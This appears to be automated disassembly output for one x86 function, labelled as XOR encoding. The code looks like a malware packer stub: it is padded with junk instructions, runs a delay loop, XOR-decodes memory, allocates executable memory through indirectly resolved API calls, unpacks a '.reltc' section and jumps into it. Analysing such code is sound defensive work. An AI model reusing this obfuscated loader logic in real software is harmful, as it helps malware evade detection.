Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x35fdc474
mov ecx, eax
dec ecx
popal
mov eax, 0x99114cbe
sub ecx, eax
mov esi, 0
mov edx, eax
sub ebx, 0x7d0c764e
sub edi, 1
mov ecx, edx
mov ebx, 0xb5654d32
or edi, edi
mov eax, ecx
add edi, 0x5a1224f7
inc ebx
mov edi, ebx
add esi, 1
add ebx, edi
not ebx
cmp esi, 0x1000a34
jne 0xa789c2
sub ebx, 0x44df404b
or edi, edi
mov eax, 0x98989661
not ecx
add eax, 0xa2007809
mov esi, 0xa78796
and ecx, ecx
add ebx, edx
add ebx, ebx
mov edi, 0xa7898a
and edx, edx
add edx, 0x711a6df
mov eax, dword [esi]
or edx, ecx
not edx
not ecx
and eax, 0xff
sub edx, ebx
dec ecx
add ecx, 0x4879c488
xor dword [edi], eax
mov ecx, ebx
inc ecx
sub edx, 0x1bdbe628
inc edi
add edx, 0xf9e66792
sub edx, ecx
not ecx
inc esi
mov edx, ecx
dec edx
cmp edi, entry0
jl 0xa78a27
add ebx, ebx
add edx, 0x19a733f1
mov ebx, 0x971a0919
add edx, 0xd9c2dfeb
mov ebx, 0x61f7d60a
inc esi
not ecx
add edi, edx
mov ebx, 0xa7898e
add esi, esi
mov edx, 0x1250c37
mov ebx, dword [ebx]
or edx, ecx
mov edi, 0xf1ef2329
mov ebx, dword [ebx]
or edx, edi
mov edi, edx
sub edx, 1
sub esp, 4
mov dword [esp], ebx
not edx
mov ecx, 0x8a2c48b7
dec ecx
mov ebx, 0xa7898a
mov edi, ecx
add edi, esi
mov ebx, dword [ebx]
add ecx, edi
add edi, 0xddaf4a6a
mov ebx, dword [ebx]
add esi, ecx
and esi, esi
push 0xa78992
mov ecx, 0x44dae43
and edi, edx
call ebx
not edx
add ecx, edx
mov ebx, dword [esp]
add esp, 4
and edx, ecx
mov ecx, edx
push 0xa7899f
sub esi, 0x7d57c41
mov ecx, esi
dec ecx
push eax
mov esi, 0xf8340457
and edi, edx
add ecx, 0xd02b43f3
call ebx
add ecx, 0x6b1329f1
and esi, edi
push 0x40
sub ecx, esi
not esi
push 0x3000
sub edi, 0x3fc16900
not ecx
push 0x20000a67
add edi, 0x5f4a8633
not ecx
sub edx, edi
push 0
dec edi
and esi, edx
call eax
sub edx, 1
dec edx
add eax, 0x200009a7
mov ecx, 0x3f2217df
add edx, ecx
add esi, 0xb1e1edfa
mov ebx, 0x41d0841
not ecx
mov esi, edi
add ecx, esi
mov dword [eax], ebx
inc edi
add ecx, 0x2ea29a2b
mov ebx, dword [eax]
add edx, 0x302ad324
mov edx, ecx
inc edi
cmp ebx, 0x41d0841
je 0xa78b82
mov ebx, 0
mov edx, dword [ebx]
mov esi, ecx
sub ecx, edi
inc ecx
inc esi
mov ecx, esi
add ecx, eax
add ecx, 0x479c7160
mov edx, section..reltc
mov eax, ecx
mov eax, 0x2634b69b
sub ecx, eax
mov edi, 0xa78795
and eax, eax
mov eax, 0x6bc9e560
mov ecx, 0x62c1c4c9
mov ebx, 0
inc ecx
mov eax, ecx
mov esi, 0xa78796
mov eax, ecx
or ecx, ecx
lea esi, [ebx + esi]
and eax, eax
not eax
not eax
mov esi, dword [esi]
inc eax
and eax, ecx
and esi, 0xff
sub eax, 0xde3bc70d
dec eax
inc ebx
and eax, eax
mov eax, 0x851731ae
add eax, ecx
cmp ebx, 0x1f4
jne 0xa78bf4
mov ebx, 0
add eax, 0xce359312
mov ecx, eax
add ecx, ecx
add eax, eax
sub ecx, 0x74122ad
xor dword [edx], esi
not eax
sub eax, ecx
add edx, 2
sub eax, 0x47ed2a98
mov eax, ecx
cmp edx, edi
jl 0xa78bb9
mov eax, ecx
mov ecx, 0xa160f3ba
sub ecx, eax
mov eax, ecx
inc ecx
sub ecx, eax
mov edi, section..reltc
sub ecx, 0xa2c8cf55
mov ebx, 0x2a1036f7
mov edx, section..reltc
dec ebx
mov ebx, ecx
mov esi, 0xa78795
not ebx
not ecx
mov eax, 0
add ecx, ecx
and ecx, ecx
mov al, byte [edx]
mov ebx, 0xbb283b10
or ecx, ebx
mov byte [edi], al
sub ecx, 0x5d631e8b
mov ecx, 0x334dfaba
add edi, 1
sub ecx, ebx
sub ecx, ebx
sub ebx, 0x83bd8195
add edx, 2
sub ebx, ecx
add ecx, ecx
inc ebx
cmp edx, esi
jle 0xa78c5a
sub ebx, ecx
mov ecx, 0x82a93db2
add ecx, ebx
mov ecx, eax
inc ecx
sub ecx, eax
push 0x8dc6a0
sub eax, ecx
sub eax, ecx
ret